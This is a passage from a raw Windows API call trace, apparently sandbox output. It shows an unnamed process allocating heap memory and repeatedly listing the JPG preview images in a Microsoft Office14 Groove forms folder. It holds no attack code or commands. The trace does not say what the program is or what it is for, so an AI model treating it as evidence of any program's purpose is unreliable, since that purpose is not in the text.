Flags=0x8, Size=0x18) returned 0xac1610 [0078.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bfd28 [0078.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.717] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTBOX.JPG", cAlternateFileName="")) returned 1 [0078.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1630 [0078.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bfe30 [0078.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.718] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x443a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NUMERIC.JPG", cAlternateFileName="")) returned 1 [0078.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1650 [0078.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bff38 [0078.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.719] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASSWORD.JPG", cAlternateFileName="")) returned 1 [0078.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1670 [0078.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0040 [0078.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.719] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIO.JPG", cAlternateFileName="")) returned 1 [0078.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1690 [0078.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0148 [0078.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.720] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ad9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SectionHeading.jpg", cAlternateFileName="")) returned 1 [0078.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac16b0 [0078.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0250 [0078.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.721] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="StaticText.jpg", cAlternateFileName="")) returned 1 [0078.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac16d0 [0078.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0358 [0078.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4580) returned 0xacb2b8 [0078.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.722] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3983, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTAREA.JPG", cAlternateFileName="")) returned 1 [0078.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac16f0 [0078.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0460 [0078.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.723] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a97, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTBOX.JPG", cAlternateFileName="")) returned 1 [0078.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1710 [0078.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0568 [0078.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.723] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x42fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTVIEW.JPG", cAlternateFileName="")) returned 1 [0078.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1730 [0078.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0670 [0078.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.724] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4127, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnformattedNumeric.jpg", cAlternateFileName="")) returned 1 [0078.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1750 [0078.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0778 [0078.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.725] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4127, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnformattedNumeric.jpg", cAlternateFileName="")) returned 0 [0078.725] GetLastError () returned 0x12 [0078.725] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9180 [0078.725] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.725] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.725] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="")) returned 1 [0078.725] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREAK.JPG", cAlternateFileName="")) returned 1 [0078.725] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.JPG", cAlternateFileName="")) returned 1 [0078.725] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x33d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHECKBOX.JPG", cAlternateFileName="")) returned 1 [0078.725] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMBOBOX.JPG", cAlternateFileName="")) returned 1 [0078.725] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x36bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACT.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x42af, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATE.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4139, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATETIME.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e01, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigitalInk.jpg", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51f96af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmbeddedView.jpg", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e72, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADING.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x139a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMAGE.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x568309f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe65, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINE.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTBOX.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x443a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NUMERIC.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASSWORD.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIO.JPG", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ad9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SectionHeading.jpg", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="StaticText.jpg", cAlternateFileName="")) returned 1 [0078.726] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, 